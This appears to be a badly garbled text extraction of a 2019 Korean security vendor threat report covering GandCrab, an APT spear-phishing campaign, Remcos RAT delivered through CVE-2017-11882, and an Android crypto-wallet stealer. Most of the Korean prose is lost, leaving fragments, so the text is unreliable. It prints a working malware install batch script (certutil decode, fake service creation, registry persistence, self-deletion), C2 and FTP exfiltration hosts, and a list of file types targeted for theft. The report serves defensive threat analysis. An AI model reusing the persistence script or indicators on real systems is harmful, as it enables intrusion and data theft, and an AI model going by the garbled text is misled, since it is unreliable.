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1 .   
 

2019 2        . 

 1     ,           

           2 . 

 

2         ,    /   .  

 

-        

-           hoax  

- /       

-        

-        

-        

-       

-       

-         

 

,   /         

     ,      .  

 

   GandCrab           . 

 

 (ESRC) 2    2018 1        

  RaaS(Ransomware as a Service)      

   .   ,    

              . 

     /          

     . 

 

** (GandCrab)    

https://blog.alyac.co.kr/2113 

 

https://blog.alyac.co.kr/2113
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2 .     
 

  TOP15 

2019 2    Top 15   2019 1  1, 2   Trojan.Agent.gen, 

Misc.HackTool.AutoKMS   Top 15   1,2 .  

Gen:Variant.Razy.330116   3          

  .    ,          

   . 

 

      1      . 

 

     ( ) 

1 -  Trojan.Agent.gen  Trojan 807,706  

2 -  Misc.HackTool.AutoKMS Trojan 594,093  

3 New Gen:Variant.Razy.330116  Trojan 520,348  

4 ń1 Trojan.HTML.Ramnit.A Trojan 395,595  

5 New Hosts.media.opencandy.com  Host 344,075  

6 ń3 Trojan.LNK.Gen Trojan 286,084  

7 Ņ1 Trojan.ShadowBrokers.A  Trojan 273,494  

8 Ņ5 Misc.HackTool.KMSActivator  Trojan 205,321  

9 Ņ1 Misc.Keygen Trojan 140,039  

10 -  Misc.Riskware.TunMirror  Trojan 122,426  

11 Ņ4 Win32.Neshta.A  Virus 121,039  

12 ń3 Worm.ACAD.Kenilfe Worm 114,964  

13 New Win32.Ramnit.Dam  Virus 106,746  

14 Ņ3 Worm.ACAD.Bursted Worm 103,716  

15 New Trojan.Iframe.KX Trojan 102,660  

*  ,       2019 02  01  ~ 2019  02  28  
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3 .     /  

URL  
 

2     

       Ċ  ċ    , DB   

    . 2  1  2  28   96,318    . 

1    10%   2       1    . 

 /  URL  

  Threat Inside   /  URL   , 2     11,181 

 /  URL .   1     15,370  /  

  27%   . 
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1.    APT  '   (Operation 

Blackhat Voice)' 

2.    RAT    ! 
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1.    APT  

'   (Operation 

Blackhat Voice)' 
 

2019  03  06 ,        (Spear Phishing)    

,      APT( )   . 

 

Ľ MP3      '   '  

  '  '    , '   Protected.zip'   . 

,   '     . : china0305'   , 

        . 

ESRC    (Opsec)     ' (BlackHat)'    

(C2)  ,        '   (Operation 

Blackhat Voice)'  . 

         (IoC)     

   '  (Threat Inside)'     . 

                                          
[  1] 03  06      \  
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ESRC         2       . 

2    1     ,    ,     

  . 

2019  02  27      '   ' , ' 13914778351(Ji ao Hu Interpretor 

Transformed) .3gp .zip'    . 

  '     .  : china0210'   

. 

2  3           ,  ' '  

     'china'   . 

  ' '         ,     

  . 

                                             

[  2] 2      

      ,  ,         

. 

,    'mp3', '3gp'      ,    2    

 (.exe) .  
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[  3]     

 

Ľ     

   (.exe)   'MP3', 'WAVE'   . 

'MP3'      , 'WAVE'  32  64    

BASE64   . 

 
[  4]       
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'WAVE'    '143', '144'  128    WAVE   , 

   BASE64    CAB(MSCF)   . 

CAB   , '143'  32   'svc.dll'   , '144'  

64   'svc.dll'   . 

      'Adsvr.dll'   . 

'MP3'         'mysong.mp3'  ,   

        . 

    Ā Ā          

     . 

                                                                 

[  4-1]     

'svc.dll'  2019  02  21  ,    (XOR 0x25)     

 . 
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[  5]   XOR 0x25   

     , , ,         

 .              

. 

*bitcoin* *paypal* *wallet* *.rdp *.vnc *.cer *.spc *.pvk *credit* *bank* *password* *pwd* *.pdf*.doc *.docx  *.xls *.xlsx 

*.rar *.zip *.txt *.rtf *.jpg *.png *.gif *.htm *.html *.chm *.xaml *.template *.lnk *.asp *.php  
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[  6]    

 dll  , 'addr.dat'     2  (C2)    , 

 FTP   .  

-  ftp.drivehq.com  

-  blackhat.1apps.com  
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[  7] (C2)    

 

(C2)          . 

    ,   'wp32.txt'   . 
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 [  8] C2      
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   BASE64  CAB   ,    'wp.dll'  

 . 

'wp.dll'  2019  02  28      ,   2019  03  01  

. 

  

 [  9]  'wp32.txt'      

'wp.dll'   'wing.dll'   'C:\ ProgramData\Microsoft \ Windows\Ringtones'   

          .  

, (Chrome), (Opera), (IE)    ,    

  . 
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[  10]       

 

Ľ Tactics, Techniques and Procedures (TTPs)       

ESRC   '   (Operation Blackhat Voice)'  TI     

2018  09  27          . 

      ,      

    . 

         . 
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[  11] 2018  09       

2018     2019              

. 

, 2018      'WAVE' 1   ,   '134', '143', '144' 

  . 

-  134 : WAVE     

-  143 : WAVE   32   CAB  BASE64  

-  144 : WAVE   64   CAB  BASE64  

     Cab  , 'WinmgntSvc.txt'      

(install.bat) 'certutil.exe'   'WinmgntSvc.cab'  ,     

       . 

@echo off 

:COPYFILE 

c: 

cd "%AppData%\ NewWindow" 

md DiagSvc > nul 

certutil - decode WinmgntSvc.txt WinmgntSvc.cab > nul  
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expand WinmgntSvc.cab -F:* DiagSvc > nul 

move /y DiagSvc\WinmgntSvc.dll %systemroot% \ System32 > nul 

md %systemroot% \ System32\ Recovery > nul 

move /y DiagSvc\mscvp14.dll %systemroot% \System32\ Recovery > nul 

md %systemroot% \ System32\spool > nul 

move /y DiagSvc\msprxy.dll %systemroot% \ System32\spool > nul 

del /f /q WinmgntSvc.cab > nul  

del /f /q WinmgntSvc.txt > nul  

rmdir /q DiagSvc > nul  

:INSTALL 

sc create Winmgn1 binpath= "%systemroot% \System32\svchost.exe - k LocaIServiceNetwork" DisplayName= 

"Windows Management Instrumentration" > nul  

sc description Winmgn1 "Provides a common interface and object model to access management information about 

operating" > nul 

sc stop Winmgn1 > nul 

sc config Winmgn1 type= own start= auto error= normal binpath= "%systemroot% \System32\ svchost.exe - k 

LocaIServiceNetwork" > nul 

reg add "HKLM\SOFTWARE\ Microsoft \Windows NT\CurrentVersion\ SvcHost" /v LocaIServiceNetwork /t 

REG_MULTI_SZ /d "Winmgn1" /f > nul 

reg add "HKLM\SYSTEM\CurrentControlSet\Services\Winmgn1\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d 

"%systemroot%\System32\WinmgntSvc.dll" /f > nul  

sc start Winmgn1 > nul 

ping -n 2 127.0.0.1 > nul  

del /f /q %~dpnx0 > nul  
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CAB   'mscvp14.dll', 'msprxy.dll', 'WinmgntSvc.dll'  3    ,   

      . 

          . 

  2019  3        . 

 

[  12]       

, 2018         ,     

 2        . 

,   'msprxy.dll'   ,       ,  

 (C2)  .  

-  195.22.237.54  

-  201.236.103.27  

-  72.68.158.37  

   'Content-Type: multipart/form -data'  . 
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 qmemcpy(&pwszHeaders, L"Content-Type: multipart/form -data; boundary=", 0x58u);  

 qmemcpy(&v30, L"--------------------------- 67491722032265", 0x57u);  

 qmemcpy((void *)(a1 + 212), "Content -Type: application/octet - stream\ r\ n\ r\ n", 0x2Bu); 

 qmemcpy((void *)(a1 + 84), "----------------------------- 67491722032265 \ r\n", 0x2Eu); 

 qmemcpy((void *)(a1 + 340), " \ r\ n----------------------------- 67491722032265 -- \ r\ n", 0x32u);  

 sub_1000A9D0(a1 + 20, a1 + 468);  

 sub_1000A9D0(v2, a1 + 596);  

 strcpy_s((char *)(a1 + 724), 0x190u, "C ontent-Disposition: form -data; name=\ "txt\ "; filename=\ ""); 

 

[  13] 'msprxy.dll'     

     2018  02  10  '  ( )'   

 APT   . 

  '2018 02 07          ( ).xps.vbs'   ,  

(C2)   ,    . 

     ,           

 . 
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[  14]       

ESRC                 

 . 

,                

   . 

               , 

     . 
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2.    RAT   

 ! 
 

2019  03  11 , ESRC    (.egg)   RAT     

.  

       ,   '  '   

  . 

Ĵ (bill of lading)  

      ,      

,    CHINA SEA GROUP  ,        

  .  

   "  SSHKH8110002.egg"         

. 
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[ 1]        

 

           , '  

 '        . 

 

  , 

 

  , --  3/11   5    . 
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1. , ,     ,       

    ! 

2.  , ? (    copy   ,   

     ) 

      shipper    . 

3.      .         

    . 

         .        ! 

 

    ,      ! 

             ,  

    50 /      ! 

      6.83%   ,     . 

12   '  '       . 

       .    shipper    

! 

 

 

China Sea Marine Co., Ltd. 

16F.,No.525,Si-Chuan North Road,shanghai,china 

Tel: + 86 6336 5500 Ext 207/107 QQ: 792180568  

Remark: 2019/03/010   RMB20/ VGM    

   ,   pdf   , scr(Screensaver)   

   .  
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[ 2] scr     

ESRC    CVE-2017-11882    Remcos RAT  (v2.2.0 pro)  

  .  

                  

[ 3] REMCOS v2.2.0 Pro     

,               

'Copyright (C) AhnLab, Inc. 1988-2016. All rights reserved.'    . 
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[ 4]    RAT   

    . 

-   SSHKH8110002,PDF.scr   , 

   scr  PDF    RAT   ,   

,           ,    PC  

        . 
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[ 5] Remcos RAT 

     Backdoor.Remcos.A   . 

 

: 

https://brica.de/alerts/alert/public/1213017/new - remcos- rat-variant- is-spreading-by-exploiting -cve-2017-

11882/  
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[Trojan.Android.InfoStealer ] 

   

 

1.  

 
           . 

        .      

,  ,    . Trojan.Android.InfoStealer     

     .  

 

2017            .   

              

  .           

. Trojan.Android.InfoStealer         

        . 

 

    2           

ČTrojan.Android.InfoStealerč  . 
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2.    
 

     Trojan.Android.InfoStealer     

            

 .    . 

 Trojan.Android.InfoStealer              

    .   Trojan.Android.InfoStealer    

  . 

 

2.1   

  Trojan.Android.InfoStealer     .  

 

[  1]   

      MetaMask        

. MetaMask              

    . MetaMask         MetaMask  

      .         

             . 

           . 
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2.2   

̆      ?̇    ,        

    .        . 

         1̆7M66AG2uQ5YZLFEMKGpzbzh4F1EsFWkmȦ 

   .  

 

            . 

 
[  2]      

 

        . 

 
[  3]        

 

       6    0.128 BTC(bitcoin)   0 BTC 

.             .     

 0              . 

             

 . 

         .      

     . 

 
[  4]        


